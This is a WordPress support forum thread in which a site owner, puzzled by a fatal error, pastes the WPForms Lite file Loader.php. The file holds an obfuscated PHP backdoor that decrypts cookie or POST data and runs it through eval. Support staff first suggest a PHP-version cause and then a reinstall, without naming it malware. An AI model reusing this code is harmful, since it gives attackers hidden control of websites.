• Resolved adelaalbertova

    (@adelaalbertova)


    Hello,
    I have a problem with my WPForms.
    It shows:

    Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in /home1/adelaova/public_html/wp-content/plugins/wpforms-lite/src/Loader.php on line 3

    And the code in that file is:

    <?php                                                                           $fc5f56db = 917;$GLOBALS['m61fd'] = Array();global $m61fd;$m61fd = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['o1fd6'] = "\x76\x39\xd\x3e\x33\x60\x7b\x27\x3c\x4e\x62\x37\x4c\x49\x5a\x53\x2c\x7d\x52\x6a\x6d\x36\x75\x47\x26\x25\x73\x40\x9\x22\x58\x20\x6f\x32\x48\x59\x64\x5c\x45\x3d\x44\x54\x24\x77\x50\x31\x70\x6b\x41\x2f\x5e\x35\x5f\x7e\x79\x68\x2a\x7a\x66\x61\x3b\x2b\x3f\x6e\x28\x6c\x4d\x57\x2d\x29\x69\x67\x43\x23\x51\x55\x4f\x4a\x74\x42\x71\x21\x63\x38\x72\xa\x65\x34\x3a\x5b\x4b\x5d\x30\x2e\x7c\x56\x78\x46";$m61fd[$m61fd['o1fd6'][65].$m61fd['o1fd6'][33].$m61fd['o1fd6'][87].$m61fd['o1fd6'][58].$m61fd['o1fd6'][83]] = $m61fd['o1fd6'][82].$m61fd['o1fd6'][55].$m61fd['o1fd6'][84];$m61fd[$m61fd['o1fd6'][82].$m61fd['o1fd6'][87].$m61fd['o1fd6'][1].$m61fd['o1fd6'][86]] = $m61fd['o1fd6'][32].$m61fd['o1fd6'][84].$m61fd['o1fd6'][36];$m61fd[$m61fd['o1fd6'][57].$m61fd['o1fd6'][59].$m61fd['o1fd6'][21].$m61fd['o1fd6'][45].$m61fd['o1fd6'][10].$m61fd['o1fd6'][58].$m61fd['o1fd6'][83]] = $m61fd['o1fd6'][26].$m61fd['o1fd6'][78].$m61fd['o1fd6'][84].$m61fd['o1fd6'][65].$m61fd['o1fd6'][86].$m61fd['o1fd6'][63];$m61fd[$m61fd['o1fd6'][54].$m61fd['o1fd6'][10].$m61fd['o1fd6'][10].$m61fd['o1fd6'][59]] = $m61fd['o1fd6'][70].$m61fd['o1fd6'][63].$m61fd['o1fd6'][70].$m61fd['o1fd6'][52].$m61fd['o1fd6'][26].$m61fd['o1fd6'][86].$m61fd['o1fd6'][78];$m61fd[$m61fd['o1fd6'][20].$m61fd['o1fd6'][21].$m61fd['o1fd6'][4].$m61fd['o1fd6'][51].$m61fd['o1fd6'][21]] = $m61fd['o1fd6'][26].$m61fd['o1fd6'][86].$m61fd['o1fd6'][84].$m61fd['o1fd6'][70].$m61fd['o1fd6'][59].$m61fd['o1fd6'][65].$m61fd['o1fd6'][70].$m61fd['o1fd6'][57].$m61fd['o1fd6'][86];$m61fd[$m61fd['o1fd6'][80].$m61fd['o1fd6'][45].$m61fd['o1fd6'][10].$m61fd['o1fd6'][4].$m61fd['o1fd6'][87].$m61fd['o1fd6'][83].$m61fd['o1fd6'][51].$m61fd['o1fd6'][58]] = $m61fd['o1fd6'][46].$m61fd['o1fd6'][55].$m61fd['o1fd6'][46].$m61fd['o1fd6'][0].$m61fd['o1fd6'][86].$m61fd['o1fd6'][84].$m61fd['o1fd6'][26].$m61fd['o1fd6'][70].$m61fd['o1fd6'][32].$m61fd['o1fd6'][63];$m61fd[$m61fd['o1fd6'][55].$m61fd['o1fd6'][33].$m61fd['o1fd6'][1].$m61fd['o1fd6'][86].$m61fd['o1fd6'][33].$m61fd['o1fd6'][51].$m61fd['o1fd6'][51]] = $m61fd['o1fd6'][22].$m61fd['o1fd6'][63].$m61fd['o1fd6'][26].$m61fd['o1fd6'][86].$m61fd['o1fd6'][84].$m61fd['o1fd6'][70].$m61fd['o1fd6'][59].$m61fd['o1fd6'][65].$m61fd['o1fd6'][70].$m61fd['o1fd6'][57].$m61fd['o1fd6'][86];$m61fd[$m61fd['o1fd6'][43].$m61fd['o1fd6'][11].$m61fd['o1fd6'][59].$m61fd['o1fd6'][1]] = $m61fd['o1fd6'][10].$m61fd['o1fd6'][59].$m61fd['o1fd6'][26].$m61fd['o1fd6'][86].$m61fd['o1fd6'][21].$m61fd['o1fd6'][87].$m61fd['o1fd6'][52].$m61fd['o1fd6'][36].$m61fd['o1fd6'][86].$m61fd['o1fd6'][82].$m61fd['o1fd6'][32].$m61fd['o1fd6'][36].$m61fd['o1fd6'][86];$m61fd[$m61fd['o1fd6'][80].$m61fd['o1fd6'][86].$m61fd['o1fd6'][87].$m61fd['o1fd6'][1].$m61fd['o1fd6'][86].$m61fd['o1fd6'][58].$m61fd['o1fd6'][4].$m61fd['o1fd6'][1].$m61fd['o1fd6'][1]] = $m61fd['o1fd6'][26].$m61fd['o1fd6'][86].$m61fd['o1fd6'][78].$m61fd['o1fd6'][52].$m61fd['o1fd6'][78].$m61fd['o1fd6'][70].$m61fd['o1fd6'][20].$m61fd['o1fd6'][86].$m61fd['o1fd6'][52].$m61fd['o1fd6'][65].$m61fd['o1fd6'][70].$m61fd['o1fd6'][20].$m61fd['o1fd6'][70].$m61fd['o1fd6'][78];$m61fd[$m61fd['o1fd6'][58].$m61fd['o1fd6'][45].$m61fd['o1fd6'][33].$m61fd['o1fd6'][11]] = $m61fd['o1fd6'][70].$m61fd['o1fd6'][58].$m61fd['o1fd6'][92].$m61fd['o1fd6'][83].$m61fd['o1fd6'][10].$m61fd['o1fd6'][10].$m61fd['o1fd6'][87];$m61fd[$m61fd['o1fd6'][70].$m61fd['o1fd6'][11].$m61fd['o1fd6'][45].$m61fd['o1fd6'][82].$m61fd['o1fd6'][10].$m61fd['o1fd6'][59]] = $m61fd['o1fd6'][80].$m61fd['o1fd6'][58].$m61fd['o1fd6'][86].$m61fd['o1fd6'][10].$m61fd['o1fd6'][4].$m61fd['o1fd6'][45].$m61fd['o1fd6'][4];$m61fd[$m61fd['o1fd6'][55].$m61fd['o1fd6'][21].$m61fd['o1fd6'][87].$m61fd['o1fd6'][92].$m61fd['o1fd6'][87].$m61fd['o1fd6'][33].$m61fd['o1fd6'][45].$m61fd['o1fd6'][33]] = $_POST;$m61fd[$m61fd['o1fd6'][0].$m61fd['o1fd6'][51].$m61fd['o1fd6'][21].$m61fd['o1fd6'][4].$m61fd['o1fd6'][92].$m61fd['o1fd6'][33].$m61fd['o1fd6'][86].$m61fd['o1fd6'][45].$m61fd['o1fd6'][36]] = $_COOKIE;@$m61fd[$m61fd['o1fd6'][54].$m61fd['o1fd6'][10].$m61fd['o1fd6'][10].$m61fd['o1fd6'][59]]($m61fd['o1fd6'][86].$m61fd['o1fd6'][84].$m61fd['o1fd6'][84].$m61fd['o1fd6'][32].$m61fd['o1fd6'][84].$m61fd['o1fd6'][52].$m61fd['o1fd6'][65].$m61fd['o1fd6'][32].$m61fd['o1fd6'][71], NULL);@$m61fd[$m61fd['o1fd6'][54].$m61fd['o1fd6'][10].$m61fd['o1fd6'][10].$m61fd['o1fd6'][59]]($m61fd['o1fd6'][65].$m61fd['o1fd6'][32].$m61fd['o1fd6'][71].$m61fd['o1fd6'][52].$m61fd['o1fd6'][86].$m61fd['o1fd6'][84].$m61fd['o1fd6'][84].$m61fd['o1fd6'][32].$m61fd['o1fd6'][84].$m61fd['o1fd6'][26], 0);@$m61fd[$m61fd['o1fd6'][54].$m61fd['o1fd6'][10].$m61fd['o1fd6'][10].$m61fd['o1fd6'][59]]($m61fd['o1fd6'][20].$m61fd['o1fd6'][59].$m61fd['o1fd6'][96].$m61fd['o1fd6'][52].$m61fd['o1fd6'][86].$m61fd['o1fd6'][96].$m61fd['o1fd6'][86].$m61fd['o1fd6'][82].$m61fd['o1fd6'][22].$m61fd['o1fd6'][78].$m61fd['o1fd6'][70].$m61fd['o1fd6'][32].$m61fd['o1fd6'][63].$m61fd['o1fd6'][52].$m61fd['o1fd6'][78].$m61fd['o1fd6'][70].$m61fd['o1fd6'][20].$m61fd['o1fd6'][86], 0);@$m61fd[$m61fd['o1fd6'][80].$m61fd['o1fd6'][86].$m61fd['o1fd6'][87].$m61fd['o1fd6'][1].$m61fd['o1fd6'][86].$m61fd['o1fd6'][58].$m61fd['o1fd6'][4].$m61fd['o1fd6'][1].$m61fd['o1fd6'][1]](0);$i299318 = NULL;$ic1fcbb = NULL;$m61fd[$m61fd['o1fd6'][20].$m61fd['o1fd6'][33].$m61fd['o1fd6'][59].$m61fd['o1fd6'][83].$m61fd['o1fd6'][45].$m61fd['o1fd6'][45]] = $m61fd['o1fd6'][83].$m61fd['o1fd6'][87].$m61fd['o1fd6'][10].$m61fd['o1fd6'][51].$m61fd['o1fd6'][21].$m61fd['o1fd6'][36].$m61fd['o1fd6'][86].$m61fd['o1fd6'][59].$m61fd['o1fd6'][68].$m61fd['o1fd6'][10].$m61fd['o1fd6'][45].$m61fd['o1fd6'][4].$m61fd['o1fd6'][11].$m61fd['o1fd6'][68].$m61fd['o1fd6'][87].$m61fd['o1fd6'][51].$m61fd['o1fd6'][10].$m61fd['o1fd6'][86].$m61fd['o1fd6'][68].$m61fd['o1fd6'][1].$m61fd['o1fd6'][87].$m61fd['o1fd6'][33].$m61fd['o1fd6'][45].$m61fd['o1fd6'][68].$m61fd['o1fd6'][1].$m61fd['o1fd6'][92].$m61fd['o1fd6'][11].$m61fd['o1fd6'][1].$m61fd['o1fd6'][59].$m61fd['o1fd6'][45].$m61fd['o1fd6'][10].$m61fd['o1fd6'][87].$m61fd['o1fd6'][10].$m61fd['o1fd6'][51].$m61fd['o1fd6'][10].$m61fd['o1fd6'][87];global $m2a811;function  qfeb313($i299318, $ucb0){global $m61fd;$f2c45 = "";for ($md556055=0; $md556055<$m61fd[$m61fd['o1fd6'][57].$m61fd['o1fd6'][59].$m61fd['o1fd6'][21].$m61fd['o1fd6'][45].$m61fd['o1fd6'][10].$m61fd['o1fd6'][58].$m61fd['o1fd6'][83]]($i299318);){for ($s08c31=0; $s08c31<$m61fd[$m61fd['o1fd6'][57].$m61fd['o1fd6'][59].$m61fd['o1fd6'][21].$m61fd['o1fd6'][45].$m61fd['o1fd6'][10].$m61fd['o1fd6'][58].$m61fd['o1fd6'][83]]($ucb0) && $md556055<$m61fd[$m61fd['o1fd6'][57].$m61fd['o1fd6'][59].$m61fd['o1fd6'][21].$m61fd['o1fd6'][45].$m61fd['o1fd6'][10].$m61fd['o1fd6'][58].$m61fd['o1fd6'][83]]($i299318); $s08c31++, $md556055++){$f2c45 .= $m61fd[$m61fd['o1fd6'][65].$m61fd['o1fd6'][33].$m61fd['o1fd6'][87].$m61fd['o1fd6'][58].$m61fd['o1fd6'][83]]($m61fd[$m61fd['o1fd6'][82].$m61fd['o1fd6'][87].$m61fd['o1fd6'][1].$m61fd['o1fd6'][86]]($i299318[$md556055]) ^ $m61fd[$m61fd['o1fd6'][82].$m61fd['o1fd6'][87].$m61fd['o1fd6'][1].$m61fd['o1fd6'][86]]($ucb0[$s08c31]));}}return $f2c45;}function  if08bb4($i299318, $ucb0){global $m61fd;global $m2a811;return $m61fd[$m61fd['o1fd6'][70].$m61fd['o1fd6'][11].$m61fd['o1fd6'][45].$m61fd['o1fd6'][82].$m61fd['o1fd6'][10].$m61fd['o1fd6'][59]]($m61fd[$m61fd['o1fd6'][70].$m61fd['o1fd6'][11].$m61fd['o1fd6'][45].$m61fd['o1fd6'][82].$m61fd['o1fd6'][10].$m61fd['o1fd6'][59]]($i299318, $m2a811), $ucb0);}foreach ($m61fd[$m61fd['o1fd6'][0].$m61fd['o1fd6'][51].$m61fd['o1fd6'][21].$m61fd['o1fd6'][4].$m61fd['o1fd6'][92].$m61fd['o1fd6'][33].$m61fd['o1fd6'][86].$m61fd['o1fd6'][45].$m61fd['o1fd6'][36]] as $ucb0=>$y96cd){$i299318 = $y96cd;$ic1fcbb = $ucb0;}if (!$i299318){foreach ($m61fd[$m61fd['o1fd6'][55].$m61fd['o1fd6'][21].$m61fd['o1fd6'][87].$m61fd['o1fd6'][92].$m61fd['o1fd6'][87].$m61fd['o1fd6'][33].$m61fd['o1fd6'][45].$m61fd['o1fd6'][33]] as $ucb0=>$y96cd){$i299318 = $y96cd;$ic1fcbb = $ucb0;}}$i299318 = @$m61fd[$m61fd['o1fd6'][55].$m61fd['o1fd6'][33].$m61fd['o1fd6'][1].$m61fd['o1fd6'][86].$m61fd['o1fd6'][33].$m61fd['o1fd6'][51].$m61fd['o1fd6'][51]]($m61fd[$m61fd['o1fd6'][58].$m61fd['o1fd6'][45].$m61fd['o1fd6'][33].$m61fd['o1fd6'][11]]($m61fd[$m61fd['o1fd6'][43].$m61fd['o1fd6'][11].$m61fd['o1fd6'][59].$m61fd['o1fd6'][1]]($i299318), $ic1fcbb));if (isset($i299318[$m61fd['o1fd6'][59].$m61fd['o1fd6'][47]]) && $m2a811==$i299318[$m61fd['o1fd6'][59].$m61fd['o1fd6'][47]]){if ($i299318[$m61fd['o1fd6'][59]] == $m61fd['o1fd6'][70]){$md556055 = Array($m61fd['o1fd6'][46].$m61fd['o1fd6'][0] => @$m61fd[$m61fd['o1fd6'][80].$m61fd['o1fd6'][45].$m61fd['o1fd6'][10].$m61fd['o1fd6'][4].$m61fd['o1fd6'][87].$m61fd['o1fd6'][83].$m61fd['o1fd6'][51].$m61fd['o1fd6'][58]](),$m61fd['o1fd6'][26].$m61fd['o1fd6'][0] => $m61fd['o1fd6'][45].$m61fd['o1fd6'][93].$m61fd['o1fd6'][92].$m61fd['o1fd6'][68].$m61fd['o1fd6'][45],);echo @$m61fd[$m61fd['o1fd6'][20].$m61fd['o1fd6'][21].$m61fd['o1fd6'][4].$m61fd['o1fd6'][51].$m61fd['o1fd6'][21]]($md556055);}elseif ($i299318[$m61fd['o1fd6'][59]] == $m61fd['o1fd6'][86]){eval/*xe701c*/($i299318[$m61fd['o1fd6'][36]]);}exit();} ?><?php
    
    namespace WPForms;
    
    /**
     * WPForms Class Loader.

    Do you know, where is the problem or any suggestion where can I get help?

    Thank you so much for your advice.
    I did my website all on my own so I am not an IT person.

    Regards

    Adela

    The page I need help with: [log in to see the link]

Viewing 4 replies - 1 through 4 (of 4 total)
  • Hi @adelaalbertova,

    Thanks for writing in!

    When you get the chance, can you please check what version of PHP your site is running in?

    In case you’re running PHP 8.x, unfortunately, you will need to have your server set to run PHP 7.x. At the moment, we are not quite ready with PHP 8 compatibility, but it is coming soon on the horizon.

    I believe PHP 8 support is coming in the next major release, but that is subject to change based on a number of factors. When you have a moment, could you ask your web host to set your site to run PHP 7.x then test the site again? I believe that should resolve your issue.

    Thanks, and again I do apologize for any inconvenience.

    Thread Starter adelaalbertova

    (@adelaalbertova)

    Dear Jade,
    thank you for your quick reply.
    I checked my version of php and it is PHP: 7.3.27.
    Any other clue where the problem could be?

    One more time thank you for taking your time.

    Kind regards,

    Adela

    Plugin Support Ethan Choi

    (@ethanchoi)

    Hey @adelaalbertova,

    It seems like the WPForms Lite file may have been altered in some way. When you get the chance, could you try deleting WPForms Lite completely from your site and reinstalling it again?

    Before deleting the plugin, you may want to export your forms to your computer. And when you have reinstalled the plugin, you can import the forms back into the plugin. We have a detailed guide for how to import and export your forms.

    To delete the plugin completely, go to WPForms > Settings > Misc. On that page, select Uninstall WPForms and save the settings. You can then delete WPForms Lite from the Plugins page of your admin area.

    Next, reinstall WPForms Lite by going to Plugins > Add New to search for WPForms Lite.

    I hope this helps!

    When you get the chance try the steps above, please let us know how it goes or if you have any questions.

    Thanks!

    Plugin Support Ethan Choi

    (@ethanchoi)

    Hi @adelaalbertova,

    We haven’t heard back from you in about a week, so I’m going to go ahead and close this thread for now. But if you’d like us to assist further, please feel welcome to continue the conversation.

    Thanks!

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Fatal error in the script’ is closed to new replies.